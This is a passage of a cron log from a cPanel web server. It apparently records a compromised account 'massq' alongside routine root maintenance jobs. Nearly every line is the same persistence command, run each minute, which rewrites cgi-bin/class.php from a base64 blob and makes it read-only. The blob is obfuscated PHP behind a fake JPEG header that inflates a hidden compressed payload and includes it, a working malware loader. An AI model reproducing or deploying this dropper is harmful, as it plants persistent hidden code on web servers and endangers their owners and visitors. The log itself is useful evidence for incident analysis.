KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:42:01 server CROND[24444]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 07:43:01 server CROND[24521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:44:01 server CROND[24585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:45:01 server CROND[24658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:45:01 server CROND[24660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:45:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:46:01 server CROND[24776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:47:01 server CROND[25073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:48:01 server CROND[25157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:49:01 server CROND[25224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:50:01 server CROND[25284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:50:01 server CROND[25288]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 07:50:01 server CROND[25287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:50:01 server CROND[25286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:50:01 server CROND[25291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:51:01 server CROND[25414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:52:01 server CROND[25471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:53:01 server CROND[25525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:54:01 server CROND[25575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:55:01 server CROND[25729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:55:01 server CROND[25730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:55:01 server CROND[25731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:56:01 server CROND[25853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 